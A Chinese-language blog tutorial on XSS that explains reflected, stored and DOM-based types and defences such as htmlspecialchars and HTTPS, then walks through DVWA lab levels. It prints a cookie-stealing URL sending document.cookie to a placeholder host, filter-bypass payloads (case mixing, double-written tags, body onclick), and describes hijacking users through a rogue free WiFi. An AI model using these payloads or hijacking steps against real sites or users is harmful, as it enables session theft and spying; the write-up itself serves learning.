前端安全–XSS攻击
XSS漏洞是最广泛、作用最关键的web安全漏洞之一。在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密码。
这些常用的基本的攻击方式对我们学web安全的来说提升自己的同时,也能体验到XSS的乐趣。
在我们学习的时候需要理解XSS的原理以及特点
关于XSS简述
跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞。这些漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器对用户进行一定程度的破坏。
XSS的原理
学习什么都要记得先弄清楚原理。网站的搭建大部分都是上HTML+CSS然后嵌入javascript。标记语言HTML通过将一些字符特殊地对待来区别文本和标记,当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段javascript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
XSS的类型
1.反射型 Reflected XSS
反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型 XSS 的触发有后端的参与,要避免反射性 XSS,必须需要后端的协调,后端解析前端的数据时首先做相关的字串检测和转义处理。
2.基于DOM或本地的XSS攻击 DOM-Based型
基于DOM的XSS跨站脚本攻击是通过修改页面。DOM节点数据信息而形成的XSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
3.存储型 Stored XSS
这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
XSS攻击举例
1.反射型攻击
(1)正比如我们在京东或者淘宝搜索”笔记本”,搜不到书的时候显示提交的名称。(2)在搜索框搜索内容,填入“script alert(‘matebook’)/script”, 点击搜索。(由于个人编译器的问题省略了<>记得加上哦)(3)当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。我们都知道alert是一个弹出框口在web页面中。(4) 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:
http://www.jingdong.com/search?name= script document.location=’http://xxx/get?cookie='+document.cookie script(由于个人编译器的问题省略了<>记得加上哦)
这个地址是伪造的 ,当然是无效的地址。这些地址的来源都是来自QQ邮箱中收到的垃圾邮件以及诈骗的链接中的。
2.存储型攻击
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
正如
- 发一篇文章,里面包含了恶意脚本
今天你做CTF了吗?你打CTF像胡一天 script alert(‘handsome boy’) /script (由于个人编译器的问题省略了<>记得加上哦) - 后端没有对文章进行过滤,直接保存文章内容到数据库。
- 当其他看这篇文章的时候,包含的恶意脚本就会执行。
因为部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极又极大的可能出现这种情况。
对于这种我们可以采用一些安全的防护措施
在开发的时候我们可以:
- 首要是服务端要进行过滤,因为前端的校验可以被绕过。
- 当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
3.DOM-based or local XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
例子一:
- 提供一个免费的wifi。
- 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
- 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
- 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
- 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。
这个例子来自大佬的博客,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html#!comments
这个是大佬进行的wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。 PS:对这个有兴趣的可以进行一下尝试,个人本人对这个挺感兴趣的。
例子二:
- 还是提供一个免费wifi
- 在我们电脑上进行抓包
- 分析数据,可以获取用户的微信朋友圈、邮箱、社交网站帐号数据(HTTP)。
这个是HTTP的窃取,本身跟网站的关系不是特别的大,只是数据被中间人获取了而已,因为HTTP是明文传输的,所以这个容易被别有心思的人所利用。注意防范。
开发安全措施:
上面提到了使用HTTP协议,HTTP协议相对于HTTPS协议,两者的差异性是在安全性上面的,所以就协议本身来说HTTPS协议的安全性高于HTTP,所以HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。
小小总结
XSS攻击的特点就是:用一些办法在目标网站上执行非目标网站上原有的脚本
本地的XSS攻击的示例2其实不算XSS攻击,只是简单流量劫持。前两种XSS攻击是我们在以后的开发时候要注意的,而流量劫持的则可以使用HTTPS提高安全性。
小练习
一、为了能够更好的了解这三种XSS攻击类型,在网上找到了一个在线的练习平台,平台名字叫安全龙,免费的实验室,在里面可以根据自己的需求进行练习。
个人是在实验室中进入了DVWA靶场,当然你也可以从DVWA的官网上下载到电脑进行部署也可以。
首先我们可以先进行反射型XSS的应用
1.反射型XSS
进入到DVWA环境中,首先根据平台提示进入,之后选择安全等级。在这里是最低的,可以根据个人的需要进行调整
初级
我们进入到其中的反射型XSS(Reflected)中,在右下角有一个Viwe source 这个点击我们可以看到页面的源代码。之后进行尝试。
可以看到源码中没有任何的过滤,我们可以使用最常用的也是最基本的语句: script alert(/dxy/) /script (<>由于编辑器使用后默认为网页源代码这里给去掉了,各位进行试验的时候记得加上!)
中级
接下来我们选择一下等级。选择到中级Medium。
可以进行一下实验看中级下原来可以弹窗的初级语句有什么变化没有。输入后发现
可以看出没有任何的弹窗提示 ,只是出现了你刚才命令弹窗中的内容。
这时候我们同样的方式查看他的源代码。发现有一部分被过滤掉了。
在这里我们可以清晰的看到我们输入的字符中发现前面的< script>没有了,那就看看源代码中有什么过滤方式把< script>给过滤掉了.
str_replace(‘< script>’ ‘’)这里的str_replace()函数以其他字符替换字符串中的一些字符,该函数区分大小写。使用 str_ireplace() 函数执行不区分大小写的搜索。
这里我们了解了该函数区分大小写。这样我们就可以使用大小写来进行绕过他的过滤从而达到我们想要的效果。
< ScRipt>alert(/sl/)</ script>这样来实现结果。
PS:这个地方由于只是用了一个过滤,我们可以用其他的方法绕过去,继续进行。
例如双写绕过的写法PS:我又把<>加上了这样看起来方便,只是源代码的‘<’后面有一个空格记得清除。
< sc< script>ript>alert(/sl/)</ script>
使用这个双写绕过的写法看到str_replace() 函数把包裹在外层的 < script>给过滤掉了,但是我里面的语句并不会过滤掉,这样的话 我内部的语句同样来说可以继续执行下去。测试木的问题。成功。
进入下一个等级
高级
进入高级节奏,输入之前的命令试试吧 我们输入之前初级的语句,尝试看看它过滤掉了什么。
结果输入进去发现只剩下了个‘>’ 。。。这样的情况,还是看看源代码比较好。
这里我看到了一个新的函数preg_replace()函数 个人不太懂所以去搜索了一下,得到的是这样的结果。
preg_replace 函数执行一个正则表达式的搜索和替换。个人还是不太懂,于是我又去详细的了解了一下。
例如:$str=”as2223adfsf0s4df0sdfsdf”;
echo preg_replace(“/0/“,””,$str);
这里的意思是去掉0字符,此时相当于 replace的功能, preg_replace(“/0/“,”A”,$str); 这样就是将0变成A的意思了
这样来看就比较明了了。 ps:匹配的字符串必须加/ / (可以看看第一个参数)
弄清楚了这个函数的意义,我们再看这个题 可以看到他把script给完全过滤掉了 这里有点小问题,它把script给过滤了,。。。我该用什么去弹窗。。。 除了script我们还可以用HTML标记语言来进行啊。我尝试了”onclick=”window.alert() 发现并没有成功,参考大佬的blog发现可以使用body进行弹窗输出。于是使用了
< body onclick=alert(/sl/)>来进行实验,结果成功弹出窗口。
接下来。。尝试impossible
impossible
看到这个等级 impossible 不可绕过。这还没进行尝试他就给你说了难度。不过还是要去尝试一下。这里我选择了直接看源码。
发现了htmlspecia1chars()这个函数,不懂的我,再次求助了度娘。
发现它的作用:传入字符串$html,将$html中包含<>等HTML中预留的字符,转换成字符实体,返回转换后的字符串
定义和用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
PS:如需把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数
它的应用场景:
a.想在HTML中直接显示源码(等同右击=>查看源码效果),此时可以使用htmlspecialchars()对想输出的源码进行转义;
b.文本过滤:在表单页,防止恶意注入,如在输入框中输入<?php $sql="drop tabal user";mysql_query($sql); ?>,此时使用htmlspecialchars()转义后,该脚本中的<>将会被转为字符实体,在php中不会执行.
可以看出这个用来防注入字符是最好不过的了。
2.储存型XSS
这里我们试着通过练习来了解储存型的XSS攻击。依旧是从低向高进行。
初级
我们同样开始进行尝试。输入语句。这时发现它在页面上对字符的长度进行了一定的限制,这时候我们打开控制台,进行一个临时的编译,将输入字符串的长度进行更改。
图中可以看到光标所选中的那一行。有这样maxlength=”30”这是我修改过的,修改之前的为10.修改后就可以看到能够输入进去了。
输入之前的命令 发现没有啥改变 于是我又进行了一番摸索,发现之前的理解还是不够,最终摸索到了
之后继续随便输入了name:test与 message:123123 之后出现了弹窗,之后的每一次输入都出现了刚才语句中间的内容。
每当进入一个新的界面都会出现一个弹窗。
小结:这时更清楚了储存型与反射型的不同的地方,储存型是持续,持久的进行弹窗。反射性不同,与之相反。
中级
同样使用初级语句进行测试。
可以看到我们输入的name是 alert(/sl/)。这时候我们查看一下源代码。
可以看到它过滤掉的字符在这里
SCRIPT整个被过滤掉了,这时我们仍然可以使用之前在反射型XSS中的绕过语句。
双写绕过,以及大小写绕过。
< body onclick=alert(/sl/)>
< ScRipt>alert(/sl/)</ script>
< sc< script>ript>alert(/sl/)</ script>
这些语句均可以使用。
这时候都出现了弹窗。我们已经成功的注入进去了。
高级
接下来我们步入高级的节奏。同样输入语句进行一个小小的注入测试。我们可以看到写进去的name 被过滤的只剩一个”>” 它的过滤类型应该跟之前反射型的高级模式是一样的 。我们查看一下源代码。
源码中的语句
可以看到还是同样的preg_replace()函数依旧执行一个正则表达式的搜索和替换。
继续通过上次成功的语句< body onclick=alert(/sl/)>来进行实验。
成功的可以看到弹窗 依次进行实验同样可以是持久性的弹窗。
impossible
有道理impossible 不可绕过的情况 我们一样直接进入,直接查看源码。
发现在输出那有一个htmlspecialchars() 函数,所以这个原理就和反射型XSS攻击一样.这里就简单的进行了对XSS熟悉的练习。通过这些练习,我们可以更深入的了解了XSS的不同类型的不同特点。
总结与感悟
对字符转义的总结
简单了解的判定
感悟
通过这次的XSS学习与了解,能够更深入的了解到XSS的原理,特征,以及不同的注入方式,注入语句。
只有动手去实践一遍,去实际的操作,才能更好的了解,通过写blog记录下下来,能够帮助自己更好的找到问题,梳理清楚自己的问题与思路所在。总之,还是需要继续努力,继续向前。
加油!前面的路还很遥远。